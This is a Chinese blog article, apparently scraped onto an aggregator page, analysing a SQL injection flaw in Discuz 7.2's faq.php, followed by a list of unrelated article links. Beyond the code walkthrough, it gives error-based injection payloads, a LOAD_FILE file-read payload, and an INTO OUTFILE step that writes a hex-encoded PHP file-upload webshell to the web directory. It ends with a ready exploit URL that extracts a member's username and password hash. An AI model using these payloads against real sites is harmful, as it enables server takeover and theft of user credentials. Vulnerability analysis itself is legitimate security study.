当前位置: 首页 > article >正文

7.2 discuz 拿shell_discuz 7.2 SQL 注入漏洞分析

1、漏洞影响范围

该漏洞影响discuz 7.2,discuz 7.2可以从http://www.comsenz.com/downloads/install/discuz下载

2、漏洞成因分析

漏洞存在于discuz根目录的faq.php文件,当程序使用$_GET,$_POST, $_COOKIES传入参数,faq.php,包含的./include/common.inc.php文件中会对这几个对象做处理,使得对象中的每一个键值对变成PHP的变量,具体代码如下所示。同时这一处的代码将所有的值进行了addslashes的处理使得每一处的单引号转义,变成一个位于PHP语言中的字符单引号,该代码位于文件的43行处。

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {

foreach($$_request as $_key => $_value) {

$_key{0} != '_' && $$_key = daddslashes($_value);

}

}

同时在faq.php的143行开始进行一种查询,在188行的位置代码如下所示。

ksort($gids);

$groupids = array();

foreach($gids as $row) {

$groupids[] = $row[0];

}

此处对$gids做了处理,取出$gids的所有values值并取values值的下标为0的位置,如果value值为“'”则经过addslash的转换变成了“\'”,取下标为0的内容之后变成了“\”,如果value值为array("1234", "12345")则value取值为“1234”,并把渠道的所有values值的下标为0的值组成一个数组$groupids[]。

此时代码执行到如下位置

$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");

此处将$groupids[]组成起来,组合方式见如下函数,该函数位于global.func.php文件中

function implodeids($array) {

if(!empty($array)) {

return "'".implode("','", is_array($array) ? $array : array($array))."'";

} else {

return '';

}

}

可以看出该函数将传入的$groupids[]组合成为'a1','a2','a3','a4'的形式,即使用“','”进行连接数组各个元素,使用“'”闭合前后。结合前文描述,如果数组中的元素包含“\”则$groupids[]将被组合成为‘a1','\','a3','a4',此时黄色的位置将会被组合成为一个新的字符串,如果a3包含sql语句,则可以早闭合SQL语句造成注入。本案中SQL语句为

SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a

ON u.groupid=a.admingid WHERE u.groupid IN ('a1','a2','a3')

此时如果a2为“\”a3赋值称为“) and 1=1#”SQL语句会变成

SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a

ON u.groupid=a.admingid WHERE u.groupid IN ('a1','\',') and 1=1#')

继而顺利闭合了前面的括号,造成了注入,在这里可以使用报错注入进行数据查询,例如使用

(extractvalue(1,concat(0x7e,(select user()),0x7e)))

将1=1进行替换。可以进行数据查询操作。

3、漏洞提权

报错注入之后可以使用如下代码进行提权操作,即想办法向web目录传送木马文件

into outfile "C://1.txt" line LINES TERMINATED BY

0x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d433a5c5c496e65747075625c5c777777726f6f745c5c44697363757a5f372e325f53435f555446385c5c75706c6f61645c5c6661712e7068705c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a(木马内容)--

此处闭合了select from where的查询,加入了into oufile,使得整体SQL语句变成了select from where into oufile,即变成了select 内容 into outfile的语句,同时使用LINES TERMINATED BY将select的内容进行按行的分割,本来此处常用的是“\n”,这里换成了木马内容,所以将导出一个有木马内容的PHP文件。整体的SQL语句结构变成了“select from where into outfile lines terminated by 木马内容”。

同时可以使用load_file进行读取文件的操作,使用的方式是基于报错的读取方式,注入SQL代码如下所示。

(SELECT 9526 FROM(SELECT COUNT(*),CONCAT(0x71767a7a71,(MID((IFNULL(CAST(HEX(LOAD_FILE('c://s3c/1.txt')) AS CHAR),0x20)),90,150)),0x7170767871,FLOOR(RAND(0)*2))X FROM INFORMATION_SCHEMA.PLUGINS GROUP BY X)a)

4、总结

exp:

faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat((select%20(select%20(select%20concat(username,0x20,password)%20from%20cdb_members%20limit%200,1)%20)%20from%20`information_schema`.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23

SQL注入的插入位置和深入的方式有很多,需要对SQL语句的嵌套查询方式进一步学习以了解嵌套查询的输入内容和位置。

http://www.lryc.cn/news/2412846.html

相关文章:

  • 分析:HPE为何要出售其软件部门
  • 爱普生R230打印机故障大全
  • java基础之移位运算符
  • 网站SEO优化知识梳理
  • 嵌入式技术相关网站和论坛和博客
  • java模拟器下载文件_KEmulator(java模拟器)最新下载
  • vrml场景实例代码_Mask TextSpotter v3:用于场景文字检测和识别的分割Proposal网络...
  • Oracle 11g的安装
  • 三十二个vbs整蛊代码,好玩到没朋友
  • WINDOWS无法配置此无线连接,如果您已经启用其他程序管理此无线连接,
  • 鬼哥解说多元链mut背景
  • CEF-概述和常用功能介绍(GeneralUsage翻译)
  • 便利店收银管理系统(源码+开题)
  • 【单片机】51单片机の入门指南上(保姆级)
  • 新建虚拟机向导_老司机教你如何在虚拟机安装win8系统,双系统也可以这样实现...
  • 浙江学计算机怎么选课,新高考下浙江孩子应怎么选课(专业人士建议)
  • 对日外包感悟
  • p2p网络终结者最高权限使用教程
  • 你可能并不知道这样定制炫酷的jupyter主题
  • 【QT教程】QT6 Web开发入门 QT Web
  • WebService接口的生成和调用(WebService接口)
  • #YOLOv7#好用还免费的“赠品”助力实现实时目标检测的新高地
  • ISA Server
  • 2022长安杯的网站重构及部分题解
  • Microsoft程序员测试题(一些高难度智力题)
  • 卷毛机器人抢大龙视频_扫地机器人金榜推荐||扫地机器人近一年低价整理||旗舰扫地机器人最新优惠汇总(20201219)...
  • 单纯的把ASP.NET项目发布到网站上
  • 真人qq秀代码_波士顿动力Spot买家秀
  • jquery 数组indexof_简单谈谈JS数组中的indexOf方法
  • UltraEdit-32的授权码